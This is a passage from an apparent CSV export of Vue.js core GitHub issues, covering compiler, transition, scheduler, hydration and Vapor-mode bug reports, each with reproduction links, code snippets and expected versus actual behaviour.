https://play.vuejs.org/#eNqFUk1PwzAM/StRLtuk0YI2cRjdEKAd4AATcIyEutYtGWkSJWmZVPW/46TsQ3zeYr9n+9kvLb3SOmpqoDOa2Mxw7YgFV+sFk7zSyjhyoypNCqMqMohiH3j64ILJJO4LkIqBg0qL1AFGhCShKMZ3Eh8BdEydzZQseBltrJI4tPV0RjPkcwHmQTuupGV0RgLisVQI9X4Xcs7UMN7ls1fI3n7Ib+zW5xhdGbBgGmB0j7nUlOB6ePl0D1t878FK5bVA9h/gI1glaq+xp13XMkfZR7yg9jacjsvy2S63DqTdLeWFemYX+IziKf2pflv9IHcSTUMdkx1ecWfDV9eISGU5xzpsc3CwJQYK0vUmhpmMon9ohPVgoRSZY14ZXnKZCkaROyc5FFzCyihtkyAIeZczYp3BvVB+txiO9l3WqcESHJP0eI8Vtcz8UoRL7oajfq/P5Rqs2E3G2/KCQx5khSWJ7xg1qagBGchDANN9n3/+Xs6bRdsGSV2XxD78/g9fGjDeFbzgJDqPTk/W4NLobEq7D4b3Bc4=

### Steps to reproduce

For following `<script setup>`:

```ts
const { foo = ""a"" } = defineProps<{ foo?: string; }>();
const bar = ref<string>();
function init() {
  {
    var foo = ""b"";    // <- (1)
  }
  bar.value = foo;    // <- (2)
}
init();
```


### What is expected?

The  `foo` at `(2)` is referencing `var` declaration at `(1)`, although out of `(1)`'s definition lexical scope, since it is a `var`-declaration which  could be accessible in the whole `init` function, that `(2)` should not be rewrite to `__props.foo`.

### What is actually happening?

`compiler-sfc` rewrite `foo` at `(2)` to `__props.foo`:

```js
const bar = ref();
function init() {
  {
    var foo = ""b"";
  }
  bar.value = __props.foo;
}
init();
```

and this behavior might be a little bit surprising (and differs from Language Tools' hint).

### System Info

<details>

```shell
System:... [TRUNCATED]",,2026-06-05T15:00:43Z,2026-06-06T07:19:36Z,0
vuejs/core,4593844468,"Component VNode props named ""style"" are incorrectly normalized by normalizeStyle","### Vue version

3.5.35

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUk1v2zAM/SuELsmAzj5sJ8MNkBY9bIet2HarejASOlUnS4JEpxkM//dRVJO1WD9OEvn4qPdETmodQrUfUTWqTZtoAoHt3O5cK0paQUIaw0o7MwQfCS79EKCPfoBFVecgUxcneIKIPcyPFQXaeJcIEv2xCOcZX95oB1xqcY+2gcV6AfPZ89TF/6nLkrr9oF1bF6EsiwPCIdiOkCOAVgQ28hpbkJNd1Ay29ZNKdcb2WFlvdtV98o7dT5mv1YYbGIvxeyDDyrVqQJCMddb6h6+SoziiKBTOHW5+v5C/T4ec0+o6YsK4ZyknjLq4Qyrw1c9veOD7CRz8dszC3wB/YPJ2zBpL2cXotiz7SZ2o/SKDMW73K10dCF06mspCc2X5Z614WPnvXrP+T+6n6rPwtJv5F4878M76bLE3Dh8bL6WrcXcYDa2JYmqg72xiPTOPtyxMiD4kXpjCvM5RKzyZKSs7bkaiyPZgvrll+mrJDUoLb7F66KJbSqdKaO8sz2jl5Js1sP/Y+8g+DNew2PKuVqtpAknNc1tbU4i1MJ9v2PwXX+ghOQ==

### Steps to reproduce

Comp.vue
```vue
<script lang=""ts"" setup>
defineOptions({
  inheritAttrs: false
})
const props = defineProps<{
  style: { level: string }[]
}>()

console.warn(props.style)
</script>

<template>
  <ul>
    <li v-for=""item in style"">{{ item }}</li>
  </ul>
</template>
```

App.vue
```vue
<script lang=""ts"" setup>
import Comp from './Comp.vue'
import { ref } from 'vue'
const style = ref([
  { level: 'A' },
  { level: 'B' },
  { level: 'C' },
])
</script>

<template>
  <Comp :style=""style"" />
</template>
```

### What is expected?

`props.style` should be the original array `[{ level: 'A' }, { level: 'B' }, { level: 'C' }]`, since style is a declared component prop, not a CSS style attribute.

### What is actually happening?

Vue applies `normalizeStyle()` to the style prop of all VNodes in `_createVNode`: https://github.... [TRUNCATED]",,2026-06-05T03:13:48Z,2026-06-05T06:09:05Z,2
vuejs/core,4587768192,compiler-core: :key expression not prefixed when element has v-memo without v-for (ReferenceError at runtime),"### Version
3.5.35

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNqFUk1P3DAQ/StTX6CCJJW2XKKA2iIObaUtaiv1UFdVNpldTBLb8kdYFOW/M44h5ADLzZ73/OaN3wzss9Zp75HlrLCVEdqBRef1BZei08o4GMDgFkbYGtXBEVGPZujyRrT1I5Bm0y1oEaFS0jpo4Dw8Pv7wnssii/IkTBeHnW5Lh3QDKKJO7nVNpaTB+3POGs4gi/DGO6ckfKpaUTUBOjnh7GLjO11kESNekS002SlzljxsxS69tUrSdEOQ4qxSnRYtmh/aCfLIWQ4TErCybdXdt6nmjMfTp3p1g1XzQv3W7kONs2uDFk2PnM2YK80OXYSvfq1xT+cZ7FTtW2IfAH+iVa0PHiPti5c12V7wJrdfpyCE3P22V3uH0j4NFYwG5jjxOaNYLg+M/mx3lX6c3nE50i/Omb6wHzVuhcRro7Q9HiCG9x3vc1j7boMGxjdSf5cksFYyuVOmoQmgL40opYMkiXgteuiTDjtFmf+d9f/RYuRxR+YarcOwsADjWGT0fOr62OnPK10CdqhVn2yErKk8ADXNl01e6xq1FwtJH/m/RxPCoX9cpWfp6oyNDzvHKSk=)







### Steps to reproduce
Open the playground link; it throws on load.
The trigger is v-memo + dynamic :key on a plain element without v-for, where the key references a prop

### What is expected?
:key expression is prefixed like any other (__props.updateKey / _ctx.updateKey), as in ≤3.5.12

### What is actually happening?
transformExpression skips the :key expression whenever the element has v-memo (the !(memo && arg.content === 'key') check added in 99009ee / PR #12014), assuming transformFor processed it eagerly — but that only happens when v-for is also present.

Plain elements fall through → unprefixed key → ReferenceError at runtime

---
This happened after vue version update.

We hit this in a component library's scroll-container component. It renders custom scrollbars, so its reactive scroll state changes on ev... [TRUNCATED]","scope: compiler,has workaround,:hammer: p3-minor-bug",2026-06-04T10:06:19Z,2026-06-11T01:56:56Z,0
vuejs/core,4563095296,[minor] scheduler performance issue,"### Vue version

3.6.0-beta.13

### Link to minimal reproduction

https://github.com/vuejs/core/blob/minor/packages/runtime-core/src/scheduler.ts

### Steps to reproduce

1. `jobs` will never be truncated after flush, maybe for performance reason.
2. But `queueJobWorker` may grow `jobs.length` every tick via splice.
3. These two combined can cause `jobs.length` to grow indefinitely.
4. The performance of Array.splice is negatively correlated with the length of the array.

### What is expected?

The length of `jobs` will not grow indefinitely.

### What is actually happening?

The length of `jobs` will grow indefinitely.

### System Info

```shell

```

### Any additional comments?

This issue is found by Codex while I'm working on https://github.com/vue-mini/vue-mini/commit/ab58d3d7ef5a508a0e67c8ce7d71caef001fb87c","version: minor,:exclamation: p4-important",2026-06-01T12:30:40Z,2026-06-01T23:48:58Z,0
vuejs/core,4559827787,"watch([], cb, { immediate: true }) // cb not runing as expected","### Vue version

3.5.35

### Link to minimal reproduction

-

### Steps to reproduce

``` js
import { expect, it, vi } from 'vitest'
import { watch } from 'vue' // vue@2.7
import { watch as watch3 } from 'vue3' // ""vue3"": ""npm:vue@^3.5.35""

it('watch([], cb, { immediate: true })', async () => {
  const cb = vi.fn()
  watch([], cb, { immediate: true })
  const cb2 = vi.fn()
  watch3([], cb2, { immediate: true })

  expect(cb2).toHaveBeenCalledTimes(1) // but get 0
  expect(cb).toHaveBeenCalledTimes(1) // but get 0
})
```
-------------
A: 为什么要 watch 空数组 
A: Why watch an empty array?

Q: 封装公共函数时，可以传入不定个数的参数, 比如：
Q: When encapsulating a public function, you can pass a variable number of arguments, for example:

``` ts
function foo<T extends WatchSource[]>(...args: T) {
  return function wrapper(...args: T) {
     watch(args, cb, { immediate: true })
     ....
  }
}
```
一般情况下传参，一切正常；但未传参时，cb不执行，不符合语义和直觉
Under normal circumstances with arguments passed, everything works fine; but when no arguments are passed, the callback doesn't execute, which goes against intuition.


### What is expected?

  expect(cb2).toHaveBeenCalledTimes(1)
  expect(cb).toHaveBeenCalledTimes(1)

### What is actually happening?

0

### System Info

```shell

```

### Any additional comments?

_No response_",🔩 p2-edge-case,2026-06-01T02:10:58Z,2026-06-11T01:56:18Z,0
vuejs/core,4556308035,v-show on enter animation would be different from v-if or v-for in TransitionGroup,"### Version
3.5.35

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNrNV39v2zYQ/SqEMKA2Zst2E+8PzzHQAcXQAeuKLcBWVMEqS5TNhKYEknLsGv7ue0fql+sky4ZuKJDY0rvj8e747ng+BK+KItyWPJgFc5NoUVhmuC0Lto2LXC8iJTb4tuyN5ZvfdVwUXLNM5xv2Ihx1MDLxIlLzkbeBdXMICxlbjmfG5t31IxKPOvK5sXvJmUnygqcLGKFX4MEgsABVJlbhrckVnDyQtShI8k0hJNe/FFbkykTBjDkJyWIp8/ufHGZ1yQc1nqx5cvcAfmt2hEXBO80N11seBY3MxnrFrRe//u0t3+G5EW7ytJTQfkL4Kze5LMlHr/ZDqVK43dFz3r5xSRZqdW1e7yxXpg6KHCXNY6SOyAZl8TmndWApz4Ti73ReGHasTozO6PtIIaHGssKJrrqKPZdCoVK+a9Jp9wWfsbflZsl15TNWxKW0MzZ2njlUpP9sxbEfqRO6nBEmFVuWyNiYqygQEEWBwx+QDIVSlNJKDo2ikVth6YQWpMcOBx91KFJ2PM5HRW1xBJN+1+rpCXZGKvTGSH+Z65TrGZsUO4aDht2ljJM7JJmxe5HaNUTjcbFzwJqL1RpJmNZAKgz22M9YJrlHYilWakj2zYwlXFmuHX5bGiuy/RBHB3bARkdW5EYQwWZMc3gsthww+FKXUUWbTqH+PXs0zwaMaqy0HLnq8OekIZx0gqoFeHa5EMAuGOp9CMPwldbxvnfZvwk3cdHrkXjARJ9dLXwiNfzQCjsTkQT7lk0G8EqWYJJ7cwXQB2m8ecMlT+DauNpi3Ehy3xCAf4CJlwN2MWCXNw3r64W1a5ObfiPLhEROeUrBkIE6/l7vzE8XXugcDP0yH1Or2KjWO1baQiWyTLlx6h6D7ygKfNL/4x10/XJxna9WYOLPXJUsyzWza45vaiBoHexax2gcLvz5CNpulVCIwdUkqsF1wGWOdsdm1FmGbn8IJoRksTQtNCZIpHj66IpsMv4IZDtEX+MSaHMEQKmhYy8ZL7mEnVyfrlpY7/dWGLEUUtg9yzMWo3p285Fb1ES4HZp1fu/yi0bUCamNqPDFjNPhxhOQ0qCptmDRWgC5Yq4+6hI/bxn3vhrapmKbnZiKN5SALE6pczRNxe3q/euGz66umEufyxWeFugipNs0l9b0SY+pA6aD9OXSRvujzsviqwlZZF8w4Ody2KWgQ+S6GOCPJxiIShSpCp4cuuN7j7cxPkr/muZO+4To3xyAHR8me8P1h9neLF3gqiH/6JbpELx7q5wf/72w64pgp9x/FhskzxBoXpwzoT2O4YosnZ42s/EKLzgiPD9NmIoOPuKeQAOnUaFPzroIXMo+q49Ow6u7XXNSAhexSz6Zqc7AYw2VGl51WeXD+O9L6P9I3Mml8wVT8+QEs37pL6kM48TQiE+4ZSffuaEE... [TRUNCATED]","scope: transition,:hammer: p3-minor-bug",2026-05-31T02:11:13Z,2026-06-11T01:59:02Z,0
vuejs/core,4506239868,Teleport + Suspense: unmount crashes on pending teleport with component child (regression since 3.5.31),"### Vue version

3.5.34

### Link to minimal reproduction

https://github.com/pont1s/vue-teleport-unmount-crashes

### Steps to reproduce

#### Option 1 — Browser (primary)

```bash
pnpm dev
```

1. Open the browser DevTools console.
2. Click **""Unmount Suspense""**.
3. Observe `TypeError: Cannot read properties of null (reading 'type')` in the console

#### Option 2 — Tests (additional)

```bash
pnpm test
```

The repo also contains three Vitest tests in `tests/teleport-unmount.test.js`

### What is expected?

When a <Teleport> inside a <Suspense> is unmounted before its mount can run, Vue should remove it cleanly. This worked correctly in 3.5.30.

### What is actually happening?

In 3.5.31..3.5.34, unmounting such a teleport throws:

```
TypeError: Cannot read properties of null (reading 'type')
    at unmountComponent       (runtime-core.cjs.js)
    at unmount
    at Object.remove          (TeleportImpl.remove)
    at unmount
    at unmountChildren
    at unmount
    at unmountComponent
    at unmount
    at Object.resolve         (Suspense)
```

### System Info

```shell
System:
    OS: macOS 26.3.1
    CPU: (8) arm64 Apple M1
    Memory: 102.19 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.15.0 - /Users/user/.local/state/fnm_multishells/14407_1779493498078/bin/node
    npm: 11.12.1 - /Users/user/.local/state/fnm_multishells/14407_1779493498078/bin/npm
    pnpm: 11.1.3 - /Users/user/.local/state/fnm_multishells/14407_1779493498078/bin/pnpm
  Browsers:
  ... [TRUNCATED]","scope: teleport,:hammer: p3-minor-bug",2026-05-23T00:25:09Z,2026-05-27T06:30:37Z,0
vuejs/core,4495799530,Passing slots as a prop breaks slot rendering,"### Vue version

3.5.34

### Link to minimal reproduction

[Vuejs Playground Example](https://play.vuejs.org/#eNrtWm1z0zgQ/iu6wEzSmzZpKffFF3rH63A30GMo3wgDiq0korbkseTQXMh/v5Vky5Ljpg4t1zLkS4ml3dWu9Oyu/Jhl53Ga9uc56QSdoQgzmkokiMzTkxGjScoziZYoI5N9+INDSecErdAk4wnqglL3dyv1ik5IuAhj8opPpyQrZPqD2rhaytE6i7l8gzPCpFWohhpkny0YTmjYoOLNNGg+Fm8ynooGTW+m1ByxkDMhEQwqGXE2418YeqS2oieznOyBjJEQMPOS4IhkSrAmUgqxPBmTTOhZs4295YghNNOKp3o2QEf7amzMo0U58kCPTDiXldQxjK2M8UnOwBhnKMMs4gn9lzzDEvf2kDZeLNp3FwEPXmM5609izrOe/ml0QelXdHR4qAxXqpUvWyq6LrdSXXnx5CzhOZN668twvKPoz3GcE7A8wbEgemmA7TuaEJ7LHqg8OjFal+mpE9Jqeith9eHAwB+ADw+SJGmMJYEnhIYRnaMwxkI8GnUSTNmog+YHdAJPnvFRR4vXFHiqQhJ20kzbB3gc51JC0H+GMQ3PQcONHtRe8Cwk5ZZQNh0OjMImEx4gwMbb8hmpgTYW1nD9iz8CRpfLmtAfqPuSRqSLAtRVO9JdrZCZ1jm4tuxwUO2E99vdv3HMw/P69tlZAXYPUp27BzMeq6XMP44CqMwenJzihETaDzEcwLMz65ShBrv6tMeURTBc4NszDgZKuKB7JtlAclnkAlpVaFnbQdcImKkX0QCqhwQPQPVTsY9PzQi6vzTmV5/A/MD3ZuCht8FJldY1F7dx5Qmo34wjpkxcw5UX2sA3OzN02k0jKpvQFplW0w51RV9qxl160kvBMMByTjGAZMKzveFA9V4Pmn7X2yH050Ooh4DWQMXiIFVXm3ZI1QhFBR6xQBgp5XXInnINln2E4xipdQSiDIHfIWnArn/v+i7Y3WH0TmDUO+lbxmhxzHaLINaIqmsYYHaBIipgeAEmvlA502i+HeTuqu4O0S0R7br8FoIDSMPLLVPB8UnxHrkF3t1Q72DN9mdRW8DX1S5JL19slyTfOUmq3+Uvzxw8CrmICRIhT0kEI8WrqH5/T3A2pSxAh/1jkpQ8QV+9hJv5FEcRvBMDVeJMF6/cRmLMMzj5gzEHowmQLOkFEjymEboXhqGmAMwaVsK1ZF4+jaEijQI0icmFlSjS23fmqDQBrIKKDYLq7HckRMgmdNr/LDgDwk3rjDoqk2lMsn9KoiAoqQvgF+KYf/lbjynGQtNBWmdGwvOG8c/iQo2NOm8yIkg2J6OOnZMQJgH4q+nnZ6fkAn7byYRHeQzSGybfEti3XPloxJ7kLAK3HTnt7V+adINteCeeXwCwRBmUclQzLlp+1AGq7emG0Ct3j/sPtR... [TRUNCATED]",,2026-05-21T15:26:03Z,2026-05-26T08:05:21Z,2
vuejs/core,4492986914,firefox invalid paste behavior,"### Vue version

3.5.34

### Link to minimal reproduction

https://play.vuejs.org/#eNqNk01v2zAMhv8KoXOTrGv3FaQFtqGH7bAN225VUTg266h1JEGi0wSG/3spOf4QWhQ9WQ/5ynwpUY34au18V6NYipXPnbIEHqm2UGW6vJCCvBSXUudGewJFuPVwAddSAzSgiiWcQnsy0vuEzhI6T+hDQh8T+pTQ54S+JHT6LuKN1KtF5569MrBPW2WETAArytZVtwywwawYwB1XMQF5lXnPTa9nccvtLW24e1WsFrR5g9BmnhDWdTnR87KvEaLT2mtTHAY4Gobd7M44/rMzj6B0d+JSwPIBD110rop4I72ZsYNAxWXTQKeCtuWKfbk+PRKz0ramaQSADhbDteOepEhTY9NxHxy/s9lz8WJadWoiPY7pLcXAcCS8Pl5aIhMnPJA8i3eqnN97o3lqmyCXIjdbqyp0vy0pnlUplhAzIZdVlXn8GWPkaozzE/dsMH94IX7v9yEmxR+HHt0OpRhylLkSuduQvvr3K3Y+JLemqCtWv5L8i95UdfDYyb7VumDbE110+2NrjSOly//+ak+ofd9UMBqU3SuQgp/u91daH+2ezc/jPqlb0T4BVlc0Gg==

### Steps to reproduce

copy any text and paste it into inputs

### What is expected?

valid dom

### What is actually happening?

invalid dom and content pasted between td nodes

### System Info

```shell
firefox 150, 151
```

### Any additional comments?

https://github.com/user-attachments/assets/0686f035-2b6c-4080-8f4b-921ab0fd62af",,2026-05-21T08:26:44Z,2026-05-21T08:39:14Z,2
vuejs/core,4482876284,bug?: given DataCloneError when setting arguments that is reactive property referred using .value  to structuredClone(),"### Vue version

3.5.34

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Us1OAjEQfpWmFzQxywG8kIVEkYMewKA3a0xdhnWx2zbtFEk2++7OdrOwJMqtne+n38y04nfWJvsAfMJTn7nCIvOAwTIldT4VHL3gM6GL0hqHrGIOtqxmW2dKNiDZQGihM6M9sg1sZVD4IFGyKXurhGZMTthgcCN0/d6xzOcOMlyTy7TxuuqprjsOOGfcKhKJdVScWxDS055iRDGBHl3IMDjYzJXRcNUzTfZSBTg+pw0u/hG1TxGz45Y+X57onbKHzulgFHSM+GojT4ftdGmWdEEorZIIdGMstbOqOnOu63Roz7Ez3w5Phz0jfkPLohzbIk923mjaaNyB4JkpbaHArSwWZCP4hEWkwaRS5ucp1qh3oF219ewLsu8/6jt/aGqCPzvw4PYg+BFD6XLAFl68LOFA5yNYmk1QxL4AroFaDE3GlnYf9IZi93gx7WP8i4XOX/3igKB911QTtGHWkS84/c/5hdZPcUfJOOroo9IUP/bgGk8a4Ci5TUZjXv8CaQAXHA==

### Steps to reproduce

Vue.js v3.5.34
TypeScript v6.0.3

```vue
<script setup lang=""ts"">
<script setup lang=""ts"">
import { ref } from 'vue'

const defaultData = [{
  a: '',
}]
const objectRef = ref(defaultData)
const errorObject = objectRef
const object = defaultData

const error = structuredClone(errorObject.value)
const notError = structuredClone(object)

const msgNotError = notError
const msgConsoleError = error

</script>

<template>
  <p>{{ msgNotError }}</p>
  <p>{{ msgConsoleError }}</p>
</template>
```

### What is expected?

We expect not to given error  when setting arguments that is reactive property referred using .value  to structuredClone().

### What is actually happening?

Given this error on browser when using POC.
```
DataCloneError: Failed to execute 'structuredClone' on 'Window': [object Array] could not be cloned.
    at setup (<anonymous>:30:15)
    at callWit... [TRUNCATED]",,2026-05-20T03:31:21Z,2026-05-20T03:32:42Z,1
vuejs/core,4479718131,Changing the key doesn't trigger moving animation in the TransitionGroup.,"### Version
3.6.0-beta.12

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNrtVttu4zYQ/ZWpUMA2GsnOpumD6qTdBfKwfdhdtEVbYLXo0tJIYUKRBEk5dg3/e4ekLF+SvRR9DRDE5NxneM7Ym+Sl1tmywyRP5rY0XDuw6DoNS6aVuS4kb+nTwWuH7Z+GaY0GaqNaGGXTA5kPMRqM//C+T3mcKnq3+TSmpnRzUmrBHNIZYH774joUAq2qMJ9P6R7kjzJMB3upZCz+1OfUfD49yDW3bi0QbKk0VtdUkL+SPDlLHAllzZvszipJc9r4aEVSqlZzgeatdlxJWyQ5BI3XMSHUwy9B5kyHZzt5eYvl/RPyO7vysiJ5Z9CiWWKRDDrHTIMuqm9+e4MrOg9KarETZP0Z5a9oleh8jdHsVScrKvvALlT7Ojwdl83v9mblUNpdU75Qb7kt5Jam4af4FGD2UNlAhTWX+M4obWHbP75/6R8LSaO0DnRQXR0ajsPwuKxwNQzSrTXm8KZrF2j6asmDdcLlMAs1BSmv/rOHfatR4qnfK6UEMnnqWDNhhxFMjuD6CLAVX0IpmLVXRcJJVSSQD/c+K/wEI4IZnUaQw6gUytLRW/KKzD56v/TbDa+2H4skhH0icMql9K/Y66knEsJmE2eb8Qq2VG5wnZJvrK4/fQb5hcxiIG+/UKZCk8O5XgGBiGIuBCvv6RkBHnjlbkk1m+lVENwib25pWntJxS0lWdMABUYJE7yRqU9gcyhROjRBftdZx+t1Sugg6FGQQUc99CVlcWSxsj779y9iLrLaUZYg+tSW+dJ+24DB+gisR6vvaOf1WytCOTRDUCb38fssy14aw9bjy8mHrGV6PPbqM+ATuLqOlRvKbiTl86jl8B2cn1EtoiP49bc9OAPwIuoIdnUnS09jcKppBN6sNAssHU9i5L6eHciu4JtQWxaiv599yHaqMPJP6MjtwCzO9RO7edE5R9X8XApe3hMqT8oiaEYJ4E4EqoaaG6oSBbb0xPNpDBIDOuPNfItpYxS9kWQtUuCaVbTiwLGGLoRgOh8x4SE+854rAcHLtFaGTMacRurXyoQ+Ytueave49lwjmhFXtp5u+xkQP/3WC+wMbzDyTCR6+jA9S71bkezIl3ObRnxGVR+JSppPfcqefqcdfhUXd/3FV35MKn8INjn4/0HW+Ntlz8MdWS4GsmR+pGmrlv4rKF4C4VJGCDsQ0jZcYi+M6fcd5MRmAbPs4sJC2S14mS7wH45mPMsuL89gRn8Zofl8cpgyZglk2oejd2pzapoJ/Iu8gweA0qzkjho9D9fBMlWGN5zSxx0BAmt3mCLW7NTXJ5g9dj9sWauh4UX4KsXjjRN+JHxh3TwvmudF87xonhfN/180fy/ReIjThrnIfshmNAzHsvMXyfZfGfmy8A==)







### Steps to reproduce
1. pr... [TRUNCATED]",":lady_beetle:  bug,scope: transition,scope: vapor",2026-05-19T17:51:51Z,2026-05-22T01:20:30Z,0
vuejs/core,4478211695,"compiler-core: <template v-for> + non-identifier :key + v-memo crashes with ""Cannot read properties of undefined (reading 'trim')""","### Vue version

`3.5.32` — also reproduces on every `3.5.13` through `3.5.34` (current `latest`), and on `3.6.0-beta.12`. Last working version is `3.5.12`.

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UctOwzAQ/JXVnttUPE6hrQSoBzgAAm51D1GyLW4T27KdUBT531k7tPRQ9eadmd2ZkXu8NybrWsIcp6600nhw5FszF6rUynmQnhoHM1j2IKscriCMYHheQ1jdCTWdDHu8wQOrTV144gngOEE3Xms7ExivgVTDVYGQ7+jnD85kxUA3bqjRDC0jthKYDvEpZwo179l5kEIIbByxZDQ58T0ZcITecY+13GRbpxW37KNeYKkbI2uyr8ZL7ikwh8RErqhr/f2cMG9bGh3w8ovK3Rl86/YRE/hmyZHtSOCR84XdkB/oxccL7fl9JBtdtTWrL5Dv5HTdxoyD7KFVFcc+0aW0T43R1ku1+XSLvSflDqVi0KgMSS+Qv/rxQvX/uDfZbdoTKmD4BW+dtWY=

### Steps to reproduce

Compile the following SFC (the playground link above contains the exact same source):

```vue
<script setup>
const items = [{ id: 1 }, { id: 2 }];
</script>

<template>
  <template v-for=""item in items"" :key=""item.id"" v-memo=""[item]"">
    <span>{{ item.id }}</span>
  </template>
</template>
```

Equivalent programmatic repro (no SFC needed):

```js
const { compileTemplate } = require('@vue/compiler-sfc');
compileTemplate({
  id: 'x',
  filename: 'x.vue',
  source: \`<template v-for=\""item in items\"" :key=\""item.id\"" v-memo=\""[item]\""><span>{{ item.id }}</span></template>\`,
});
```

### What is expected?

The template compiles successfully, as it does in `3.5.12` and as the existing test `compiler: v-memo transform > on template v-for` does for a simple-identifier key (`:key=\""x\""`).

### What is actually happening?

`compileTemplate` throws:

``... [TRUNCATED]","scope: compiler,:hammer: p3-minor-bug",2026-05-19T14:25:49Z,2026-05-27T06:30:10Z,0
vuejs/core,4474833195,logMismatchError() called redundantly in loop when SSR has excess child nodes,"### Version
3.6.0-beta.12

### Reproduction link
[github.com](https://github.com/vuejs/core/blob/main/packages/runtime-core/src/hydration.ts#L431-L450)







### Steps to reproduce
1. Open packages/runtime-core/src/hydration.ts
2. Find the while loop inside hydrateElement at line 431
3. Observe that isMismatchAllowed() and logMismatchError() are both 
   called on every iteration of the loop, once per excess DOM node
4. Compare with the isMismatchAllowed() or logMismatchError() pattern used 
   elsewhere in the same file like hydrateChildren at line 608 where 
   the same redundancy exists

### What is expected?
isMismatchAllowed() and logMismatchError() should each be called once per mismatch event, regardless of how many excess nodes need to be removed.

### What is actually happening?
Both are called N times where N is the number of excess DOM nodes. The console.error only appears once due to the hasLoggedMismatchError guard inside logMismatchError(), but the calls themselves are redundant. The fix is to hoist the check outside the loop:

<!-- generated by vue-issues. DO NOT REMOVE -->","🔩 p2-edge-case,scope:hydration",2026-05-19T06:04:00Z,2026-05-27T06:29:47Z,0
vuejs/core,4474118986,[Vapor] Slot without animation,"### Vue version

3.6.0-beta.12

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuaLmmBxs6SbYfMDfaBHrbDNmw57CBgcB3aVStLgkS7KYL895G247pA25Mo8vHpkU8H+dn7pG1ArmUWi6A9igjYeNHm3oWNsrqmE8VBBCjFUZTB1WJGDbOx9NXVfsgnKV+Yb/ZR2cLZSHQ37l5ccvsZhgbOlc3S/iVipwtC7U2OQDchsusG0VnxqTC6uLtUcuh+w6eSm62rKgNZ2sM6AmriR7t2ine6Fe1cl0Mv9ayylJI9faePwiydPKusvJAYSW6pq+Q2OkvbODBeyYLw2kD46VHTOEquRVfhWm6Mu//e5Xiyi1O+uIHi7pn8bdxzTslfASKEFpQca5iHCrAvX/35AXuKx2Ltdo0h9CvF3xCdaVhjD/vS2B3JnuA6td86y7SttvFqj2DjaSgWyshjh1eSLORVvTT6o9xV8q7rU/ZIWzzZ/8J3es35bchJDj91sjIax0iOe2M3y+Wjl+zmiMjSJ+1P7M0iPhgOknYOFiHM8wJ1y75QxkDewpDp58ORaS1oaWKRvI8C8gj0pWnMCQ9/+ikLuglD6ULNe6WQhfw9my8Xfn9OJEI4nxcaH9Zi0XPSJING2uG/FgL7QjtcJR+SxfwaME/eLuXxP4uYO4E=

### Steps to reproduce

click the button

### What is expected?

slot has animation

### What is actually happening?

slot without animation

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-05-19T03:15:13Z,2026-05-19T06:12:18Z,0
vuejs/core,4467956694,[Vapor] Compilation error in renderEffect content,"### Vue version

3.6.0-beta.12

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFOwkAQ/ZXJXpAECojx0BQSNRz0oEa9scSUMtbCdrfZnVaSpv/ubGuVg+Gyycy8efvem1rcFEVQlShCEbnEZgWBQyoLqOLC2KXUidGOILYWFrCWGqD2D4CKt6hCGBAeaTDqeonKkkMIF0NYLKEGv2oUBsqkF4PZbDCExuMaRm+kjibdf/wHF4R5oWJCrgCibUlkNFRjoxdSMFNHzCrW003QVswllnXd91o50DTRpNtlnmhyQipGghwL+sjSYO+MZr+tESkSkxeZQvtUUMaCpQh7i1LESpmvh7ZHtsQfm7zzicnhn/7eHX1PimeLDm2FUvzOKLYpUjdevT5ybCfD3OxKxegzwxfkMEuvsYPdlnrHsk9wrdr7nO9GmU7f3OpIqF1vygvt4/doPvrdGet/cufBVbsndcMpvldoPScHOA+ug+l4ixQHs0vRfAPl578y

### Steps to reproduce

open the link

### What is expected?

```js
_renderEffect(() => {
    const _arr_0 = _ctx.arr[0]
```

### What is actually happening?

```js
_renderEffect(() => {
    const _arr_0 = _ctx.arr_0
```

### System Info

```shell

```

### Any additional comments?

It seems that the issue is not with the compiler......",,2026-05-18T09:33:24Z,2026-05-19T01:16:40Z,0
vuejs/core,4446137236,Self closing svg tag breaks `vue` highlighting,"### Vue version

3.5.34

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kE9Lw0AQxb/KuJcolPagpxILKgX1oKKCl72EZBK37j/2TwyEfHdnN7T2UHqbfe/t4zczsjtrl31EtmZlQGVlFXDDNUDp+w5WNJarI52evnbCBvAYoiVFKGtcgBEctjBB64yCggqLFK6N9gGU7+A2+ZfFI0pp4Ms42VwUV6l8rtuwBQue4q3oljtvNPGMCYOz2igrJLpXGwTVcbaG7CSvorbf56wFF3Gx1+tvrH9O6Ds/JI2zN4ceXY+cHbxQuQ7DbG8/XnCg+WAq00RJ6TPmO3ojY2KcY/dRN4R9lMu0T/leQneffjsE1H6/VAJNySnnOaMbPpxZ/R/3enmT/3E9sekPYU6ZYQ==

### Steps to reproduce

Just add a self closing svg in a vue file in a template.

```html
<template>
  <svg />
</template>
```

### What is expected?

The highlighting doesn't break.

### What is actually happening?

The highlighting further down in the file breaks.

### System Info

```shell

```

### Any additional comments?

My use case is:
```html
<template>
  <svg
    v-if=""svgData""
    v-bind=""svgData.attrs""
    v-html=""svgData.innerHTML""
  />
</template>
```

So because of `v-html` I can't put anything in the svg not even a comment. The editor formatter automatically self closes the tag which breaks highlighting.",duplicate,2026-05-14T13:07:34Z,2026-05-17T18:37:32Z,0
vuejs/core,4430308025,Edge Read Aloud triggers insertBefore error in certain cases,"### Vue version

3.5.34

### Link to minimal reproduction

